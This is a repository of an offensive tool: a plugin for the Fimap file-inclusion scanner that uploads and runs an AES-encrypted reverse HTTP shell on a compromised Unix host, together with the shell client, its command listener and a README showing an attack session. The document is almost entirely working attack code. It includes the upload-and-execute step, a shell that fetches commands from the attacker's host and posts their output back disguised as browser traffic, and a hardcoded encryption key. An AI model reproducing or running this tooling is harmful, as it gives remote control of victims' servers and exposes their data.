├── __init__.py
├── plugin.xml
├── aeshttp.py
├── listener
└── server.py
├── README.md
└── shells
└── shell.py
/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/plugin.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
--------------------------------------------------------------------------------
/aeshttp.py:
--------------------------------------------------------------------------------
1 | # Uses AES http backdoor
2 | import os
3 | from plugininterface import basePlugin
4 | import inspect
5 | import time
6 |
7 | class aeshttp(basePlugin):
8 |
9 | def plugin_init(self):
10 | pass
11 |
12 | def plugin_loaded(self):
13 | pass
14 |
15 | def request_parameters(self):
16 | pass
17 |
18 |
19 | def plugin_exploit_modes_requested(self, langClass, isSystem, isUnix):
20 | # This method will be called just befor the user gets the 'available attack' screen.
21 | # You can see that we get the
22 | # * langClass (which represents the current language of the script)
23 | # * A boolean value 'isSystem' which tells us if we can inject system commands.
24 | # * And another boolean 'isUnix' which will be true if it's a unix-like system and false if it's Windows.
25 | # We should return a array which contains tuples with a label and a unique callback string.
26 | ret = []
27 |
28 | #print "Language: " + langClass.getName()
29 |
30 | if (isSystem):
31 | attack = ("Uploads and runs an AES HTTP Reverse shell", "aeshttp.aeshttp")
32 | ret.append(attack)
33 |
34 | return(ret)
35 |
36 | def plugin_callback_handler(self, callbackstring, haxhelper):
37 | # This function will be launched if the user selected one of your attacks.
38 | # The two params you receive here are:
39 | # * callbackstring - The string you have defined in plugin_exploit_modes_requested.
40 | # * haxhelper - A little class which makes it very easy to send an injected command.
41 |
42 | if (callbackstring == "aeshttp.aeshttp"):
43 |
44 | if (haxhelper.isUnix()):
45 | shell_path= "%s/shells" % os.path.dirname(inspect.getfile(inspect.currentframe()))
46 |
47 | os.chdir(shell_path)
48 | if not os.path.isfile("./shell.py"):
49 | print "The fuck is the shell?"
50 | print "quitting"
51 | return 1
52 |
53 | self.request_parameters()
54 | remoten="/tmp/shell.py"
55 |
56 | print "Uploading shell to %s ..." % remoten
57 | bytes = haxhelper.uploadfile("./shell.py", remoten, chunksize=-1) #BUGFIXXXX
58 | print "Uploaded %s bytes" % bytes
59 | haxhelper.executeSystemCommand("chmod 777 %s" % remoten)
60 | print "Hope you have the listener running... Time to input your infoes :)"
61 | reverseip = raw_input("IP of listener?: ")
62 | reverseport = raw_input("Port of listener?: ")
63 | haxhelper.executeSystemCommand("python /tmp/shell.py %s %s" %(reverseip, reverseport))
64 | print "Executing the shell! Sending reverse shell to %s %s" %(reverseip, reverseport)
65 |
--------------------------------------------------------------------------------
/listener/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | ############################################
3 | #
4 | #
5 | # AES Encrypted Reverse HTTP Listener by:
6 | #
7 | # Dave Kennedy (ReL1K)
8 | # http://www.secmaniac.com
9 | #
10 | #
11 | ############################################
12 | from BaseHTTPServer import BaseHTTPRequestHandler
13 | from BaseHTTPServer import HTTPServer
14 | import urlparse
15 | import re
16 | import os
17 | import base64
18 | from Crypto.Cipher import AES
19 |
20 | # the block size for the cipher object; must be 16, 24, or 32 for AES
21 | BLOCK_SIZE = 32
22 | # the character used for padding--with a block cipher such as AES, the value
23 | # you encrypt must be a multiple of BLOCK_SIZE in length. This character is
24 | # used to ensure that your value is always a multiple of BLOCK_SIZE
25 | PADDING = '{'
26 | # one-liner to sufficiently pad the text to be encrypted
27 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
28 |
29 | # one-liners to encrypt/encode and decrypt/decode a string
30 | # encrypt with AES, encode with base64
31 | EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
32 | DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
33 |
34 | # 32 character secret key - change this if you want to be unique
35 | secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
36 |
37 | # create a cipher object using the random secret
38 | cipher = AES.new(secret)
39 |
40 | # url decode for postbacks
41 | def htc(m):
42 | return chr(int(m.group(1),16))
43 |
44 | # url decode
45 | def urldecode(url):
46 | rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
47 | return rex.sub(htc,url)
48 |
49 | class GetHandler(BaseHTTPRequestHandler):
50 |
51 | # handle get request
52 | def do_GET(self):
53 |
54 | # this will be our shell command
55 | message = raw_input("shell> ")
56 | # send a 200 OK response
57 | self.send_response(200)
58 | # end headers
59 | self.end_headers()
60 | # encrypt the message
61 | message = EncodeAES(cipher, message)
62 | # base64 it
63 | message = base64.b64encode(message)
64 | # write our command shell param to victim
65 | self.wfile.write(message)
66 | # return out
67 | return
68 |
69 | # handle post request
70 | def do_POST(self):
71 |
72 | # send a 200 OK response
73 | self.send_response(200)
74 | # # end headers
75 | self.end_headers()
76 | # grab the length of the POST data
77 | length = int(self.headers.getheader('content-length'))
78 | # read in the length of the POST data
79 | qs = self.rfile.read(length)
80 | # url decode
81 | url=urldecode(qs)
82 | # remove the parameter cmd
83 | url=url.replace("cmd=", "")
84 | # base64 decode
85 | message = base64.b64decode(url)
86 | # decrypt the string
87 | message = DecodeAES(cipher, message)
88 | # display the command back decrypted
89 | print message
90 |
91 | if __name__ == '__main__':
92 |
93 | # bind to all interfaces
94 | server = HTTPServer(('', 443), GetHandler)
95 | print """############################################
96 | #
97 | #
98 | # AES Encrypted Reverse HTTP Listener by:
99 | #
100 | # Dave Kennedy (ReL1K)
101 | # http://www.secmaniac.com
102 | #
103 | #
104 | ############################################"""
105 | print 'Starting encrypted web shell server, use to stop'
106 | # simple try block
107 | try:
108 | # serve and listen forever
109 | server.serve_forever()
110 | # handle keyboard interrupts
111 | except KeyboardInterrupt:
112 | print "[!] Exiting the encrypted webserver shell.. hack the gibson."
113 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | AES-Shell-Injector - Fimap Plugin that allows you to inject an AES HTTP Reverse Shell
2 |
3 | Author: Darren "Infodox" Martyn.
4 | Email: infodox@insecurety.net
5 | Twitter: twitter.com/info_dox
6 | Site: http://insecurety.net/
7 | Usage: Just add this to the plugins folder in Fimap, should work fine as-is.
8 |
9 | NOTE: The AES-Reverse listener is in the "listener" folder...
10 |
11 | Example:
12 | ```
13 | ######################################################################################
14 | #:: Available Attacks - PHP and SHELL access :: #
15 | ######################################################################################
16 | #[1] Spawn fimap shell #
17 | #[2] Spawn pentestmonkey's reverse shell #
18 | #[3] [Upload Weevely] Uploads a Weevily Backdoor #
19 | #[4] [AES HTTP Reverse Shell Injector] Uploads and runs an AES HTTP Reverse shell #
20 | #[5] [msf_bindings] Executes MSF reverse payloads #
21 | #[6] [Test Plugin] Show some info #
22 | #[7] [reverse http shell] Loads a reverse HTTP shell #
23 | #[q] Quit #
24 | ######################################################################################
25 | Choose Attack: 4
26 | Uploading shell to /tmp/shell.py ...
27 | Uploaded 5128 bytes
28 | Hope you have the listener running... Time to input your infoes :)
29 | IP of listener?: 127.0.0.1
30 | Port of listener?: 443
31 | Executing the shell! Sending reverse shell to 127.0.0.1 443
32 | ######################################################################################
33 | #:: Available Attacks - PHP and SHELL access :: #
34 | ######################################################################################
35 | #[1] Spawn fimap shell #
36 | #[2] Spawn pentestmonkey's reverse shell #
37 | #[3] [Upload Weevely] Uploads a Weevily Backdoor #
38 | #[4] [AES HTTP Reverse Shell Injector] Uploads and runs an AES HTTP Reverse shell #
39 | #[5] [msf_bindings] Executes MSF reverse payloads #
40 | #[6] [Test Plugin] Show some info #
41 | #[7] [reverse http shell] Loads a reverse HTTP shell #
42 | #[q] Quit #
43 | ######################################################################################
44 | Choose Attack: 4
45 | Uploading shell to /tmp/shell.py ...
46 | Uploaded 5128 bytes
47 | Hope you have the listener running... Time to input your infoes :)
48 | IP of listener?: 127.0.0.1
49 | Port of listener?: 443
50 | Executing the shell! Sending reverse shell to 127.0.0.1 443
51 |
52 | > Make sure your listener is running. I set it to use Port 443, you can edit the listener source in listener/server.py tto change this.
53 |
54 | ```
55 |
56 | ### Known Issues ###
57 | * This plugin does NOT yet auto connect, as my normal method of popping an XTERM to connect did not seem like a great idea.
58 | * This plugin is still in Beta. Report any bugs in my code, PLEASE!
59 |
60 | ### Greetings and Credits ###
61 | imax for writing Fimap!
62 | Dave rel1k for writing the reverse shell
63 | ohdae for one-upping all my post-pwnage ideas and writing Intersect :P
64 | pr0f for inspiration in general.
65 | eipwner also for being idea-causing
66 | v0rbis for making me feel like I had to do something
67 |
--------------------------------------------------------------------------------
/shells/shell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | ##########################################################################################################################
3 | #
4 | #
5 | # AES Encrypted Reverse HTTP Shell by:
6 | #
7 | # Dave Kennedy (ReL1K)
8 | # http://www.secmaniac.com
9 | #
10 | ##########################################################################################################################
11 | #
12 | ##########################################################################################################################
13 | #
14 | # To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
15 | # to make it easier. Can download from here:
16 | # http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
17 | #
18 | ##########################################################################################################################
19 | #
20 | # This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
21 | #
22 | ##########################################################################################################################
23 | #
24 | ##########################################################################################################################
25 | #
26 | # Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction
27 | # so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary.
28 | #
29 | ##########################################################################################################################
30 | #
31 | # export VERSIONER_PYTHON_PREFER_32_BIT=yes
32 | # python Configure.py
33 | # python Makespec.py --onefile --noconsole shell.py
34 | # python Build.py shell/shell.spec
35 | #
36 | ###########################################################################################################################
37 |
38 |
39 | import urllib
40 | import urllib2
41 | import httplib
42 | import subprocess
43 | import sys
44 | import base64
45 | import os
46 | from Crypto.Cipher import AES
47 |
48 |
49 | # the block size for the cipher object; must be 16, 24, or 32 for AES
50 | BLOCK_SIZE = 32
51 | # the character used for padding--with a block cipher such as AES, the value
52 | # you encrypt must be a multiple of BLOCK_SIZE in length. This character is
53 | # used to ensure that your value is always a multiple of BLOCK_SIZE
54 | PADDING = '{'
55 | # one-liner to sufficiently pad the text to be encrypted
56 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
57 |
58 | # one-liners to encrypt/encode and decrypt/decode a string
59 | # encrypt with AES, encode with base64
60 | EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
61 | DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
62 |
63 | # secret key, change this if you want to be unique
64 | secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
65 |
66 | # create a cipher object using the random secret
67 | cipher = AES.new(secret)
68 |
69 | # TURN THIS ON IF YOU WANT PROXY SUPPORT
70 | PROXY_SUPPORT = "OFF"
71 | # THIS WILL BE THE PROXY URL
72 | PROXY_URL = "http://proxyinfo:80"
73 | # USERNAME FOR THE PROXY
74 | USERNAME = "username"
75 | # PASSWORD FOR THE PROXY
76 | PASSWORD = "password"
77 |
78 | # here is where we set all of our proxy settings
79 | if PROXY_SUPPORT == "ON":
80 | auth_handler = urllib2.HTTPBasicAuthHandler()
81 | auth_handler.add_password(realm='RESTRICTED ACCESS',
82 | uri=PROXY_URL, # PROXY SPECIFIED ABOVE
83 | user=USERNAME, # USERNAME SPECIFIED ABOVE
84 | passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
85 | opener = urllib2.build_opener(auth_handler)
86 | urllib2.install_opener(opener)
87 |
88 | try:
89 | # our reverse listener ip address
90 | address = sys.argv[1]
91 | # our reverse listener port address
92 | port = sys.argv[2]
93 |
94 | # except that we didn't pass parameters
95 | except IndexError:
96 | print " \nAES Encrypted Reverse HTTP Shell by:"
97 | print " Dave Kennedy (ReL1K)"
98 | print " http://www.secmaniac.com"
99 | print "Usage: shell.py "
100 | sys.exit()
101 |
102 | # loop forever
103 | while 1:
104 |
105 | # open up our request handelr
106 | req = urllib2.Request('http://%s:%s' % (address,port))
107 | # grab our response which contains what command we want
108 | message = urllib2.urlopen(req)
109 | # base64 unencode
110 | message = base64.b64decode(message.read())
111 | # decrypt the communications
112 | message = DecodeAES(cipher, message)
113 | # quit out if we receive that command
114 | if message == "quit" or message == "exit":
115 | sys.exit()
116 | # issue the shell command we want
117 | proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
118 | # read out the data of stdout
119 | data = proc.stdout.read() + proc.stderr.read()
120 | # encrypt the data
121 | data = EncodeAES(cipher, data)
122 | # base64 encode the data
123 | data = base64.b64encode(data)
124 | # urlencode the data from stdout
125 | data = urllib.urlencode({'cmd': '%s'}) % (data)
126 | # who we want to connect back to with the shell
127 | h = httplib.HTTPConnection('%s:%s' % (address,port))
128 | # set our basic headers
129 | headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
130 | # actually post the data
131 | h.request('POST', '/index.aspx', data, headers)
132 |
--------------------------------------------------------------------------------